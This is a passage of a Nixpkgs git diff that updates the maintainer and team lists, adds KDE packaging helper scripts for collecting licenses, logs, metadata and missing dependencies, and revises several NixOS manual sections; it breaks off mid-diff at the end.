"@ggpeti:ggpeti.com"; @@ -6947,6 +7061,15 @@ github = "ghostbuster91"; githubId = 5662622; }; + ghthor = { + email = "ghthor@gmail.com"; + github = "ghthor"; + githubId = 160298; + name = "Will Owens"; + keys = [{ + fingerprint = "8E98 BB01 BFF8 AEA4 E303 FC4C 8074 09C9 2CE2 3033"; + }]; + }; ghuntley = { email = "ghuntley@ghuntley.com"; github = "ghuntley"; @@ -7522,6 +7645,12 @@ githubId = 287769; name = "Sergii Paryzhskyi"; }; + heijligen = { + email = "src@posteo.de"; + github = "heijligen"; + githubId = 19170376; + name = "Thomas Heijligen"; + }; heisfer = { email = "heisfer@refract.dev"; github = "heisfer"; @@ -8108,6 +8237,13 @@ github = "ilyakooo0"; githubId = 6209627; }; + imadnyc = { + email = "me@imad.nyc"; + github = "imadnyc"; + githubId = 113966166; + name = "Abdullah Imad"; + matrix = "@dre:imad.nyc"; + }; imalison = { email = "IvanMalison@gmail.com"; github = "colonelpanic8"; @@ -8260,6 +8396,12 @@ fingerprint = "E864 BDFA AB55 36FD C905 5195 DBF2 52AF FB26 19FD"; }]; }; + ironicbadger = { + email = "alexktz@gmail.com"; + github = "ironicbadger"; + githubId = 2773080; + name = "Alex Kretzschmar"; + }; ironpinguin = { email = "michele@catalano.de"; github = "ironpinguin"; @@ -9006,6 +9148,12 @@ githubId = 8900; name = "Johan Magnus Jonsson"; }; + jmarmstrong1207 = { + name = "James Armstrong"; + email = "jm.armstrong1207@gmail.com"; + github = "jmarmstrong1207"; + githubId = 32995055; + }; jmbaur = { email = "jaredbaur@fastmail.com"; github = "jmbaur"; @@ -9486,6 +9634,16 @@ githubId = 5802758; name = "Joshua Trees"; }; + juancmuller = { + email = "nix@juancmuller.com"; + githubId = 208500; + github = "jcmuller"; + matrix = "@jcmuller@beeper.com"; + name = "Juan C. Müller"; + keys = [{ + fingerprint = "D78D 25D8 A1B8 2596 267F 35B8 F44E A51A 28F9 B4A7"; + }]; + }; juaningan = { email = "juaningan@gmail.com"; github = "oneingan"; @@ -10381,6 +10539,15 @@ githubId = 70764075; name = "kud"; }; + kugland = { + email = "kugland@gmail.com"; + github = "kugland"; + githubId = 1173932; + name = "André Kugland"; + keys = [{ + fingerprint = "6A62 5E60 E3FF FCAE B3AA 50DC 1DA9 3817 80CD D833"; + }]; + }; kupac = { github = "Kupac"; githubId = 8224569; @@ -10711,6 +10878,15 @@ githubId = 77865363; name = "Leonid Belyaev"; }; + leonm1 = { + github = "leonm1"; + githubId = 32306579; + keys = [{ + fingerprint = "C12D F14B DC9D 64E1 44C3 4D8A 755C DA4E 5923 416A"; + }]; + matrix = "@mattleon:matrix.org"; + name = "Matt Leon"; + }; leshainc = { email = "leshainc@fomalhaut.me"; github = "LeshaInc"; @@ -10923,6 +11099,12 @@ githubId = 591860; name = "Lionello Lunesu"; }; + litchipi = { + email = "litchi.pi@proton.me"; + github = "litchipi"; + githubId = 61109829; + name = "Litchi Pi"; + }; livnev = { email = "lev@liv.nev.org.uk"; github = "livnev"; @@ -11067,15 +11249,6 @@ githubId = 4969294; name = "Louis Tim Larsen"; }; - lourkeur = { - name = "Louis Bettens"; - email = "louis@bettens.info"; - github = "lourkeur"; - githubId = 15657735; - keys = [{ - fingerprint = "5B93 9CFA E8FC 4D8F E07A 3AEA DFE1 D4A0 1733 7E2A"; - }]; - }; loveisgrief = { name = "LoveIsGrief"; email = "loveisgrief@tuta.io"; @@ -11166,6 +11339,12 @@ githubId = 35580196; name = "Luca Guerra"; }; + lucasbergman = { + email = "lucas@bergmans.us"; + github = "lucasbergman"; + githubId = 3717454; + name = "Lucas Bergman"; + }; lucasew = { email = "lucas59356@gmail.com"; github = "lucasew"; @@ -11575,6 +11754,12 @@ githubId = 1780588; name = "Malte Poll"; }; + maltejanz = { + email = "service.malte.j@protonmail.com"; + github = "MalteJanz"; + githubId = 18661391; + name = "Malte Janz"; + }; malte-v = { email = "nixpkgs@mal.tc"; github = "malte-v"; @@ -12361,6 +12546,12 @@ github = "MichaelBrunn3r"; githubId = 19626539; }; + MichaelCDormann = { + email = "michael.c.dormann@gmail.com"; + name = "Michael Dormann"; + github = "MichaelCDormann"; + githubId = 12633081; + }; michaelCTS = { email = "michael.vogel@cts.co"; name = "Michael Vogel"; @@ -13765,6 +13956,11 @@ githubId = 3159451; name = "Nicolas Schneider"; }; + NIS = { + name = "NSC IT Solutions"; + github = "dev-nis"; + githubId = 132921300; + }; nitsky = { name = "nitsky"; github = "nitsky"; @@ -13860,13 +14056,6 @@ githubId = 47303199; name = "Simon Gutgesell"; }; - noneucat = { - email = "andy@lolc.at"; - matrix = "@noneucat:lolc.at"; - github = "noneucat"; - githubId = 40049608; - name = "Andy Chun"; - }; noodlez1232 = { email = "contact@nathanielbarragan.xyz"; matrix = "@noodlez1232:matrix.org"; @@ -14051,7 +14240,8 @@ githubId = 332423; }; nu-nu-ko = { - email = "host@nuko.city"; + email = "nuko@shimeji.cafe"; + matrix = "@nuko:shimeji.cafe"; github = "nu-nu-ko"; githubId = 153512689; name = "nuko"; @@ -14867,6 +15057,12 @@ fingerprint = "3AC6 F170 F011 33CE 393B CD94 BE94 8AFD 7E78 73BE"; }]; }; + phijor = { + name = "Philipp Joram"; + email = "nixpkgs@phijor.me"; + github = "phijor"; + githubId = 10487782; + }; philandstuff = { email = "philip.g.potter@gmail.com"; github = "philandstuff"; @@ -15742,6 +15938,12 @@ github = "rafaelrc7"; githubId = 5376043; }; + rafameou = { + email = "rafaelmazz22@gmail.com"; + name = "Rafael Mazzutti"; + github = "rafameou"; + githubId = 26395874; + }; ragge = { email = "r.dahlen@gmail.com"; github = "ragnard"; @@ -15839,6 +16041,12 @@ githubId = 11351304; name = "Ricardo Ardissone"; }; + raroh73 = { + email = "me@raroh73.com"; + github = "Raroh73"; + githubId = 96078496; + name = "Raroh73"; + }; rasendubi = { email = "rasen.dubi@gmail.com"; github = "rasendubi"; @@ -16437,6 +16645,11 @@ fingerprint = "1401 1B63 393D 16C1 AA9C C521 8526 B757 4A53 6236"; }]; }; + rosehobgoblin = { + name = "J. L. Bowden"; + github = "rosehobgoblin"; + githubId = 84164410; + }; rossabaker = { name = "Ross A. Baker"; email = "ross@rossabaker.com"; @@ -16449,6 +16662,12 @@ github = "RossComputerGuy"; githubId = 19699320; }; + rostan-t = { + name = "Rostan Tabet"; + email = "rostan.tabet@gmail.com"; + github = "rostan-t"; + githubId = 30502549; + }; rotaerk = { name = "Matthew Stewart"; email = "m.scott.stewart@gmail.com"; @@ -16554,6 +16773,18 @@ github = "rubyowo"; githubId = 105302757; }; + rucadi = { + email = "ruben.canodiaz@gmail.com"; + github = "rucadi"; + githubId = 6445619; + name = "Ruben Cano Diaz"; + }; + RudiOnTheAir = { + name = "Rüdiger Schwoon"; + email = "wolf@schwoon.info"; + github = "RudiOnTheAir"; + githubId = 47517341; + }; rudolfvesely = { name = "Rudolf Vesely"; email = "i@rudolfvesely.com"; @@ -16757,6 +16988,12 @@ github = "samalws"; githubId = 20981725; }; + samasaur = { + name = "Samasaur"; + email = "sam@samasaur.com"; + github = "Samasaur1"; + githubId = 30577766; + }; samb96 = { email = "samb96@gmail.com"; github = "samb96"; @@ -16821,6 +17058,15 @@ githubId = 132835; name = "Samuel Dionne-Riel"; }; + samuelefacenda = { + name = "Samuele Facenda"; + email = "samuele.facenda@gmail.com"; + github = "SamueleFacenda"; + githubId = 92163673; + keys = [{ + fingerprint = "3BA5 A3DB 3239 E2AC 1F3B 68A0 0DB8 3F58 B259 6271"; + }]; + }; samuel-martineau = { name = "Samuel Martineau"; email = "samuel@smartineau.me"; @@ -16875,6 +17121,15 @@ githubId = 178904; name = "Daniel Ehlers"; }; + sascha8a = { + email = "sascha@localhost.systems"; + github = "sascha8a"; + githubId = 6937965; + name = "Alexander Lampalzer"; + keys = [{ + fingerprint = "0350 3136 E22C C561 30E3 A4AE 2087 9CCA CD5C D670"; + }]; + }; saschagrunert = { email = "mail@saschagrunert.de"; github = "saschagrunert"; @@ -17036,6 +17291,12 @@ fingerprint = "E173 237A C782 296D 98F5 ADAC E13D FD4B 4712 7951"; }]; }; + sdht0 = { + email = "nixpkgs@sdht.in"; + github = "sdht0"; + githubId = 867424; + name = "Siddhartha Sahu"; + }; sdier = { email = "scott@dier.name"; matrix = "@sdier:matrix.org"; @@ -17129,6 +17390,12 @@ githubId = 1286668; name = "Thilo Uttendorfer"; }; + sentientmonkey = { + email = "swindsor@gmail.com"; + github = "sentientmonkey"; + githubId = 9032; + name = "Scott Windsor"; + }; sents = { email = "finn@krein.moe"; github = "sents"; @@ -17450,6 +17717,12 @@ github = "shymega"; githubId = 1334592; }; + siddarthkay = { + email = "siddarthkay@gmail.com"; + github = "siddarthkay"; + githubId = 64726664; + name = "Siddarth Kumar"; + }; siddharthdhakane = { email = "siddharthdhakane@gmail.com"; github = "siddharthdhakane"; @@ -18320,6 +18593,13 @@ githubId = 2666479; name = "Y Nguyen"; }; + superherointj = { + email = "sergiomarcelo@yandex.com"; + github = "superherointj"; + githubId = 5861043; + matrix = "@superherointj:matrix.org"; + name = "Sérgio Marcelo"; + }; SuperSandro2000 = { email = "sandro.jaeckel@gmail.com"; matrix = "@sandro:supersandro.de"; @@ -18586,6 +18866,12 @@ githubId = 11619234; name = "Sergey Volkov"; }; + tarantoj = { + email = "taranto.james@gmail.com"; + github = "tarantoj"; + githubId = 13129552; + name = "James Taranto"; + }; tari = { email = "peter@taricorp.net"; github = "tari"; @@ -20098,6 +20384,12 @@ githubId = 326263; name = "Danny Wilson"; }; + vizid = { + email = "vizid1337@gmail.com"; + github = "ViZiD"; + githubId = 7444430; + name = "Radik Islamov"; + }; vklquevs = { email = "vklquevs@gmail.com"; github = "vklquevs"; @@ -20748,6 +21040,13 @@ githubId = 31734358; name = "Xavier Groleau"; }; + xgwq = { + name = "XGWQ"; + email = "nixos@xnee.de"; + matrix = "@xgwq:nerdberg.de"; + github = "peterablehmann"; + githubId = 36541313; + }; xiorcale = { email = "quentin.vaucher@pm.me"; github = "xiorcale"; @@ -20824,6 +21123,12 @@ githubId = 973709; name = "Jairo Llopis"; }; + yamashitax = { + email = "hello@yamashit.ax"; + github = "yamashitax"; + githubId = 99486674; + name = "山下"; + }; yana = { email = "yana@riseup.net"; github = "yanateras"; diff --git a/maintainers/scripts/bootstrap-files/README.md b/maintainers/scripts/bootstrap-files/README.md index ae385cbd6ce85..b55878f34192c 100644 --- a/maintainers/scripts/bootstrap-files/README.md +++ b/maintainers/scripts/bootstrap-files/README.md @@ -39,7 +39,7 @@ target: ``` To validate cross-targets `binfmt` `NixOS` helper can be useful. - For `riscv64-unknown-linux-gnu` the `/etc/nixox/configuraqtion.nix` + For `riscv64-unknown-linux-gnu` the `/etc/nixos/configuration.nix` entry would be `boot.binfmt.emulatedSystems = [ "riscv64-linux" ]`. 3. Propose the commit as a PR to update bootstrap tarballs, tag people diff --git a/maintainers/scripts/eval-release.nix b/maintainers/scripts/eval-release.nix index 4f0ca24650251..10acfe3284470 100644 --- a/maintainers/scripts/eval-release.nix +++ b/maintainers/scripts/eval-release.nix @@ -1,9 +1,8 @@ -# Evaluate `release.nix' like Hydra would. Too bad nix-instantiate -# can't to do this. - -with import ../../lib; +# Evaluate `release.nix' like Hydra would. Too bad nix-instantiate can't to do this. let + inherit (import ../../lib) isDerivation mapAttrs; + trace = if builtins.getEnv "VERBOSE" == "1" then builtins.trace else (x: y: y); rel = removeAttrs (import ../../pkgs/top-level/release.nix { }) [ "tarball" "unstable" "xbursttools" ]; diff --git a/maintainers/scripts/find-tarballs.nix b/maintainers/scripts/find-tarballs.nix index c47b5168abd9a..cae4bec201ce0 100644 --- a/maintainers/scripts/find-tarballs.nix +++ b/maintainers/scripts/find-tarballs.nix @@ -1,11 +1,22 @@ # This expression returns a list of all fetchurl calls used by ‘expr’. -with import ../.. { }; -with lib; - -{ expr }: +{ expr, lib ? import ../../lib }: let + inherit (lib) + addErrorContext + attrNames + concatLists + const + filter + genericClosure + isAttrs + isDerivation + isList + mapAttrsToList + optional + optionals + ; root = expr; diff --git a/maintainers/scripts/kde/collect-licenses.sh b/maintainers/scripts/kde/collect-licenses.sh new file mode 100755 index 0000000000000..87da901c255cc --- /dev/null +++ b/maintainers/scripts/kde/collect-licenses.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env nix-shell +#!nix-shell -i bash -p gnutar jq reuse +set -eu +cd "$(dirname "$(readlink -f "$0")")"/../../.. + +TMPDIR=$(mktemp -d) +trap 'rm -rf $TMPDIR' EXIT + +echo "# Prebuilding sources..." +nix-build -A kdePackages.sources --no-link || true + +echo "# Evaluating sources..." +declare -A sources +eval "$(nix-instantiate --eval -A kdePackages.sources --json --strict | jq 'to_entries[] | "sources[" + .key + "]=" + .value' -r)" + +echo "# Collecting licenses..." +for k in "${!sources[@]}"; do + echo "- Processing $k..." + + if [ ! -f "${sources[$k]}" ]; then + echo "Not found!" + continue + fi + + mkdir "$TMPDIR/$k" + tar -C "$TMPDIR/$k" -xf "${sources[$k]}" + + (cd "$TMPDIR/$k"; reuse lint --json) | jq --arg name "$k" '{$name: .summary.used_licenses | sort}' -c > "$TMPDIR/$k.json" +done + +jq -s 'add' -S "$TMPDIR"/*.json > pkgs/kde/generated/licenses.json diff --git a/maintainers/scripts/kde/collect-logs.nu b/maintainers/scripts/kde/collect-logs.nu new file mode 100755 index 0000000000000..1d07fa9d2caf7 --- /dev/null +++ b/maintainers/scripts/kde/collect-logs.nu @@ -0,0 +1,11 @@ +#!/usr/bin/env nix-shell +#!nix-shell -i nu -p nushell +cd $"($env.FILE_PWD)/../../.." + +mkdir logs +nix-env -qaP -f . -A kdePackages --json --out-path | from json | values | par-each { |it| + echo $"Processing ($it.pname)..." + if "outputs" in $it { + nix-store --read-log $it.outputs.out | save -f $"logs/($it.pname).log" + } +} diff --git a/maintainers/scripts/kde/collect-metadata.py b/maintainers/scripts/kde/collect-metadata.py new file mode 100755 index 0000000000000..eaa6196471365 --- /dev/null +++ b/maintainers/scripts/kde/collect-metadata.py @@ -0,0 +1,36 @@ +#!/usr/bin/env nix-shell +#!nix-shell -i python3 -p "python3.withPackages(ps: [ ps.click ps.pyyaml ])" +import pathlib + +import click + +import utils + +@click.command +@click.argument( + "repo-metadata", + type=click.Path( + exists=True, + file_okay=False, + resolve_path=True, + path_type=pathlib.Path, + ), +) +@click.option( + "--nixpkgs", + type=click.Path( + exists=True, + file_okay=False, + resolve_path=True, + writable=True, + path_type=pathlib.Path, + ), + default=pathlib.Path(__file__).parent.parent.parent.parent +) +def main(repo_metadata: pathlib.Path, nixpkgs: pathlib.Path): + metadata = utils.KDERepoMetadata.from_repo_metadata_checkout(repo_metadata) + out_dir = nixpkgs / "pkgs/kde/generated" + metadata.write_json(out_dir) + +if __name__ == "__main__": + main() # type: ignore diff --git a/maintainers/scripts/kde/collect-missing-deps.py b/maintainers/scripts/kde/collect-missing-deps.py new file mode 100755 index 0000000000000..f3943338b57fb --- /dev/null +++ b/maintainers/scripts/kde/collect-missing-deps.py @@ -0,0 +1,127 @@ +#!/usr/bin/env nix-shell +#!nix-shell -i python3 -p python3 +import pathlib + +OK_MISSING = { + # we don't use precompiled QML + 'Qt6QuickCompiler', + 'Qt6QmlCompilerPlusPrivate', + # usually used for version numbers + 'Git', + # useless by itself, will warn if something else is not found + 'PkgConfig', + # license verification + 'ReuseTool', + # dev only + 'ClangFormat', + # doesn't exist + 'Qt6X11Extras', +} + +OK_MISSING_BY_PACKAGE = { + "angelfish": { + "Qt6Feedback", # we don't have it + }, + "attica": { + "Python3", # only used for license checks + }, + "discover": { + "rpm-ostree-1", # we don't have rpm-ostree (duh) + "Snapd", # we don't have snaps and probably never will + }, + "elisa": { + "UPNPQT", # upstream says it's broken + }, + "extra-cmake-modules": { + "Sphinx", # only used for docs, bloats closure size + "QCollectionGenerator" + }, + "kio-extras-kf5": { + "KDSoapWSDiscoveryClient", # actually vendored on KF5 version + }, + "kitinerary": { + "OsmTools", # used for map data updates, we use prebuilt + }, + "kosmindoormap": { + "OsmTools", # same + "Protobuf", + }, + "kpty": { + "UTEMPTER", # we don't have it and it probably wouldn't work anyway + }, + "kpublictransport": { + "OsmTools", # same + "PolyClipping", + "Protobuf", + }, + "krfb": { + "Qt6XkbCommonSupport", # not real + }, + "kuserfeedback": { + "Qt6Svg", # all used for backend console stuff we don't ship + "QmlLint", + "Qt6Charts", + "FLEX", + "BISON", + "Php", + "PhpUnit", + }, + "kwin": { + "display-info", # newer versions identify as libdisplay-info + }, + "mlt": { + "Qt5", # intentionally disabled + "SWIG", + }, + "plasma-desktop": { + "scim", # upstream is dead, not packaged in Nixpkgs + }, + "powerdevil": { + "DDCUtil", # cursed, intentionally disabled + }, + "pulseaudio-qt": { + "Qt6Qml", # tests only + "Qt6Quick", + }, + "syntax-highlighting": { + "XercesC", # only used for extra validation at build time + } +} + +def main(): + here = pathlib.Path(__file__).parent.parent.parent.parent + logs = (here / "logs").glob("*.log") + + for log in sorted(logs): + pname = log.stem + + missing = [] + is_in_block = False + with log.open(errors="replace") as fd: + for line in fd: + line = line.strip() + if line.startswith("-- No package '"): + package = line.removeprefix("-- No package '").removesuffix("' found") + missing.append(package) + if line == "-- The following OPTIONAL packages have not been found:" or line == "-- The following RECOMMENDED packages have not been found:": + is_in_block = True + elif line.startswith("--") and is_in_block: + is_in_block = False + elif line.startswith("*") and is_in_block: + package = line.removeprefix("* ") + missing.append(package) + + missing = { + package + for package in missing + if not any(package.startswith(i) for i in OK_MISSING | OK_MISSING_BY_PACKAGE.get(pname, set())) + } + + if missing: + print(pname + ":") + for line in missing: + print(" -", line) + print() + +if __name__ == '__main__': + main() diff --git a/maintainers/scripts/kde/generate-sources.py b/maintainers/scripts/kde/generate-sources.py new file mode 100755 index 0000000000000..380213ee6907c --- /dev/null +++ b/maintainers/scripts/kde/generate-sources.py @@ -0,0 +1,113 @@ +#!/usr/bin/env nix-shell +#!nix-shell -i python3 -p "python3.withPackages(ps: [ ps.beautifulsoup4 ps.click ps.httpx ps.jinja2 ps.pyyaml ]) +import base64 +import binascii +import json +import pathlib +from urllib.parse import urlparse + +import bs4 +import click +import httpx +import jinja2 + +import utils + + +LEAF_TEMPLATE = jinja2.Template(''' +{mkKdeDerivation}: +mkKdeDerivation { + pname = "{{ pname }}"; +} +'''.strip()) + +ROOT_TEMPLATE = jinja2.Template(''' +{callPackage}: { + {%- for p in packages %} + {{ p }} = callPackage ./{{ p }} {}; + {%- endfor %} +} +'''.strip()); + +def to_sri(hash): + raw = binascii.unhexlify(hash) + b64 = base64.b64encode(raw).decode() + return f"sha256-{b64}" + + +@click.command +@click.argument( + "set", + type=click.Choice(["frameworks", "gear", "plasma"]), + required=True +) +@click.argument( + "version", + type=str, + required=True +) +@click.option( + "--nixpkgs", + type=click.Path( + exists=True, + file_okay=False, + resolve_path=True, + writable=True, + path_type=pathlib.Path, + ), + default=pathlib.Path(__file__).parent.parent.parent.parent +) +def main(set: str, version: str, nixpkgs: pathlib.Path): + root_dir = nixpkgs / "pkgs/kde" + set_dir = root_dir / set + generated_dir = root_dir / "generated" + metadata = utils.KDERepoMetadata.from_json(generated_dir) + + set_url = { + "frameworks": "kf", + "gear": "releases", + "plasma": "plasma", + }[set] + + sources = httpx.get(f"https://kde.org/info/sources/source-{set_url}-{version}.html") + sources.raise_for_status() + bs = bs4.BeautifulSoup(sources.text, features="html.parser") + + results = {} + for item in bs.select("tr")[1:]: + link = item.select_one("td:nth-child(1) a") + assert link + + hash = item.select_one("td:nth-child(3) tt") + assert hash + + project_name, version = link.text.rsplit("-", maxsplit=1) + if project_name not in metadata.projects_by_name: + print(f"Warning: unknown tarball: {project_name}") + + results[project_name] = { + "version": version, + "url": "mirror://kde" + urlparse(link.attrs["href"]).path, + "hash": to_sri(hash.text) + } + + pkg_dir = set_dir / project_name + pkg_file = pkg_dir / "default.nix" + if not pkg_file.exists(): + print(f"Generated new package: {set}/{project_name}") + pkg_dir.mkdir(parents=True, exist_ok=True) + with pkg_file.open("w") as fd: + fd.write(LEAF_TEMPLATE.render(pname=project_name) + "\n") + + set_dir.mkdir(parents=True, exist_ok=True) + with (set_dir / "default.nix").open("w") as fd: + fd.write(ROOT_TEMPLATE.render(packages=sorted(results.keys())) + "\n") + + sources_dir = generated_dir / "sources" + sources_dir.mkdir(parents=True, exist_ok=True) + with (sources_dir / f"{set}.json").open("w") as fd: + json.dump(results, fd, indent=2) + + +if __name__ == "__main__": + main() # type: ignore diff --git a/maintainers/scripts/kde/utils.py b/maintainers/scripts/kde/utils.py new file mode 100644 index 0000000000000..7a82c4955c6b4 --- /dev/null +++ b/maintainers/scripts/kde/utils.py @@ -0,0 +1,185 @@ +import collections +import dataclasses +import functools +import json +import pathlib +import subprocess + +import yaml + +class DataclassEncoder(json.JSONEncoder): + def default(self, it): + if dataclasses.is_dataclass(it): + return dataclasses.asdict(it) + return super().default(it) + + +@dataclasses.dataclass +class Project: + name: str + description: str | None + project_path: str + repo_path: str | None + + def __hash__(self) -> int: + return hash(self.name) + + @classmethod + def from_yaml(cls, path: pathlib.Path): + data = yaml.safe_load(path.open()) + return cls( + name=data["identifier"], + description=data["description"], + project_path=data["projectpath"], + repo_path=data["repopath"] + ) + + +def get_git_commit(path: pathlib.Path): + return subprocess.check_output(["git", "-C", path, "rev-parse", "--short", "HEAD"]).decode().strip() + + +def validate_unique(projects: list[Project], attr: str): + seen = set() + for item in projects: + attr_value = getattr(item, attr) + if attr_value in seen: + raise Exception(f"Duplicate {attr}: {attr_value}") + seen.add(attr_value) + + +THIRD_PARTY = { + "third-party/appstream": "appstream-qt", + "third-party/cmark": "cmark", + "third-party/gpgme": "gpgme", + "third-party/kdsoap": "kdsoap", + "third-party/libaccounts-qt": "accounts-qt", + "third-party/libgpg-error": "libgpg-error", + "third-party/libquotient": "libquotient", + "third-party/packagekit-qt": "packagekit-qt", + "third-party/poppler": "poppler", + "third-party/qcoro": "qcoro", + "third-party/qmltermwidget": "qmltermwidget", + "third-party/qtkeychain": "qtkeychain", + "third-party/signond": "signond", + "third-party/taglib": "taglib", + "third-party/wayland-protocols": "wayland-protocols", + "third-party/wayland": "wayland", + "third-party/zxing-cpp": "zxing-cpp", +} + +IGNORE = { + "kdesupport/phonon-directshow", + "kdesupport/phonon-mmf", + "kdesupport/phonon-mplayer", + "kdesupport/phonon-quicktime", + "kdesupport/phonon-waveout", + "kdesupport/phonon-xine" +} + +WARNED = set() + + +@dataclasses.dataclass +class KDERepoMetadata: + version: str + projects: list[Project] + dep_graph: dict[Project, set[Project]] + + @functools.cached_property + def projects_by_name(self): + return {p.name: p for p in self.projects} + + @functools.cached_property + def projects_by_path(self): + return {p.project_path: p for p in self.projects} + + def try_lookup_package(self, path): + if path in IGNORE: + return None + project = self.projects_by_path.get(path) + if project is None and path not in WARNED: + WARNED.add(path) + print(f"Warning: unknown project {path}") + return project + + @classmethod + def from_repo_metadata_checkout(cls, repo_metadata: pathlib.Path): + projects = [ + Project.from_yaml(metadata_file) + for metadata_file in repo_metadata.glob("projects-invent/**/metadata.yaml") + ] + [ + Project(id, None, project_path, None) + for project_path, id in THIRD_PARTY.items() + ] + + validate_unique(projects, "name") + validate_unique(projects, "project_path") + + self = cls( + version=get_git_commit(repo_metadata), + projects=projects, + dep_graph={}, + ) + + dep_specs = [ + "dependency-data-common", + "dependency-data-kf6-qt6" + ] + dep_graph = collections.defaultdict(set) + + for spec in dep_specs: + spec_path = repo_metadata / "dependencies" / spec + for line in spec_path.open(): + line = line.strip() + if line.startswith("#"): + continue + if not line: + continue + + dependent, dependency = line.split(": ") + + dependent = self.try_lookup_package(dependent) + if dependent is None: + continue + + dependency = self.try_lookup_package(dependency) + if dependency is None: + continue + + dep_graph[dependent].add(dependency) + + self.dep_graph = dep_graph + + return self + + def write_json(self, root: pathlib.Path): + root.mkdir(parents=True, exist_ok=True) + + with (root / "projects.json").open("w") as fd: + json.dump(self.projects_by_name, fd, cls=DataclassEncoder, sort_keys=True, indent=2) + + with (root / "dependencies.json").open("w") as fd: + deps = {k.name: sorted(dep.name for dep in v) for k, v in self.dep_graph.items()} + json.dump({"version": self.version, "dependencies": deps}, fd, cls=DataclassEncoder, sort_keys=True, indent=2) + + @classmethod + def from_json(cls, root: pathlib.Path): + projects = [ + Project(**v) for v in json.load((root / "projects.json").open()).values() + ] + + deps = json.load((root / "dependencies.json").open()) + self = cls( + version=deps["version"], + projects=projects, + dep_graph={}, + ) + + dep_graph = collections.defaultdict(set) + for dependent, dependencies in deps["dependencies"].items(): + for dependency in dependencies: + dep_graph[self.projects_by_name[dependent]].add(self.projects_by_name[dependency]) + + self.dep_graph = dep_graph + return self diff --git a/maintainers/team-list.nix b/maintainers/team-list.nix index 39c1ddcc33c48..e3cbcfcd99c9a 100644 --- a/maintainers/team-list.nix +++ b/maintainers/team-list.nix @@ -176,7 +176,7 @@ with lib.maintainers; { cosmopolitan = { members = [ - lourkeur + bbjubjub tomberek ]; scope = "Maintain the Cosmopolitan LibC and related programs."; @@ -188,6 +188,7 @@ with lib.maintainers; { ivar mdarocha corngood + ggg raphaelr jamiemagee anpin @@ -342,7 +343,6 @@ with lib.maintainers; { imincik nh2 nialov - r-burns sikmir willcohen ]; @@ -430,7 +430,6 @@ with lib.maintainers; { helsinki-systems = { # Verify additions to this team with at least one already existing member of the team. members = [ - ajs124 das_j ]; scope = "Group registration for packages maintained by Helsinki Systems"; @@ -495,6 +494,7 @@ with lib.maintainers; { members = [ aanderse cpages + dschrempf edwtjo minijackson peterhoeg @@ -775,7 +775,6 @@ with lib.maintainers; { members = [ aanderse drupol - etu ma27 talyz ]; @@ -821,12 +820,18 @@ with lib.maintainers; { qt-kde = { members = [ + ilya-fedin + k900 + LunNova + mjm + nickcao + SuperSandro2000 ttuegel ]; githubTeams = [ "qt-kde" ]; - scope = "Maintain the KDE desktop environment and Qt."; + scope = "Maintain the Qt framework, KDE application suite, Plasma desktop environment and related projects."; shortName = "Qt / KDE"; enableFeatureFreezePing = true; }; diff --git a/nixos/doc/manual/configuration/x-windows.chapter.md b/nixos/doc/manual/configuration/x-windows.chapter.md index 0451e4d25265f..bf1872ae01ace 100644 --- a/nixos/doc/manual/configuration/x-windows.chapter.md +++ b/nixos/doc/manual/configuration/x-windows.chapter.md @@ -150,6 +150,7 @@ Or if you have an older card, you may have to use one of the legacy drivers: ```nix +services.xserver.videoDrivers = [ "nvidiaLegacy470" ]; services.xserver.videoDrivers = [ "nvidiaLegacy390" ]; services.xserver.videoDrivers = [ "nvidiaLegacy340" ]; services.xserver.videoDrivers = [ "nvidiaLegacy304" ]; diff --git a/nixos/doc/manual/development/replace-modules.section.md b/nixos/doc/manual/development/replace-modules.section.md index ac9f5adbaf981..45e2adbc26088 100644 --- a/nixos/doc/manual/development/replace-modules.section.md +++ b/nixos/doc/manual/development/replace-modules.section.md @@ -47,9 +47,8 @@ without having to know its implementation details. ```nix { config, lib, pkgs, ... }: -with lib; - let + inherit (lib) mkIf mkOption types; cfg = config.programs.man; in diff --git a/nixos/doc/manual/development/running-nixos-tests.section.md b/nixos/doc/manual/development/running-nixos-tests.section.md index 33076f5dc2a7d..b8191ebd313c5 100644 --- a/nixos/doc/manual/development/running-nixos-tests.section.md +++ b/nixos/doc/manual/development/running-nixos-tests.section.md @@ -18,3 +18,13 @@ you can view a log of the test: ```ShellSession $ nix-store --read-log result ``` + +## System Requirements {#sec-running-nixos-tests-requirements} + +NixOS tests require virtualization support. +This means that the machine must have `kvm` in its [system features](https://nixos.org/manual/nix/stable/command-ref/conf-file.html?highlight=system-features#conf-system-features) list, or `apple-virt` in case of macOS. +These features are autodetected locally, but `apple-virt` is only autodetected since Nix 2.19.0. + +Features of **remote builders** must additionally be configured manually on the client, e.g. on NixOS with [`nix.buildMachines.*.supportedFeatures`](https://search.nixos.org/options?show=nix.buildMachines.*.supportedFeatures&sort=alpha_asc&query=nix.buildMachines) or through general [Nix configuration](https://nixos.org/manual/nix/stable/advanced-topics/distributed-builds). + +If you run the tests on a **macOS** machine, you also need a "remote" builder for Linux; possibly a VM. [nix-darwin](https://daiderd.com/nix-darwin/) users may enable [`nix.linux-builder.enable`](https://daiderd.com/nix-darwin/manual/index.html#opt-nix.linux-builder.enable) to launch such a VM. diff --git a/nixos/doc/manual/development/settings-options.section.md b/nixos/doc/manual/development/settings-options.section.md index 3a4800742b048..71ec9bbc88925 100644 --- a/nixos/doc/manual/development/settings-options.section.md +++ b/nixos/doc/manual/development/settings-options.section.md @@ -73,6 +73,34 @@ have a predefined type and string generator already declared under It returns a set with INI-specific attributes `type` and `generate` as specified [below](#pkgs-formats-result). + The type of the input is an *attrset* of sections; key-value pairs where + the key is the section name and the value is the corresponding content + which is also an *attrset* of key-value pairs for the actual key-value + mappings of the INI format. + The values of the INI atoms are subject to the above parameters (e.g. lists + may be transformed into multiple key-value pairs depending on + `listToValue`). + +`pkgs.formats.iniWithGlobalSection` { *`listsAsDuplicateKeys`* ? false, *`listToValue`* ? null, \.\.\. } + +: A function taking an attribute set with values + + `listsAsDuplicateKeys` + + : A boolean for controlling whether list values can be used to + represent duplicate INI keys + + `listToValue` + + : A function for turning a list of values into a single value. + + It returns a set with INI-specific attributes `type` and `generate` + as specified [below](#pkgs-formats-result). + The type of the input is an *attrset* of the structure + `{ sections = {}; globalSection = {}; }` where *sections* are several + sections as with *pkgs.formats.ini* and *globalSection* being just a single + attrset of key-value pairs for a single section, the global section which + preceedes the section definitions. `pkgs.formats.toml` { } diff --git a/nixos/doc/manual/development/writing-modules.chapter.md b/nixos/doc/manual/development/writing-modules.chapter.md index e07b899e6df7b..20157a21e890f 100644 --- 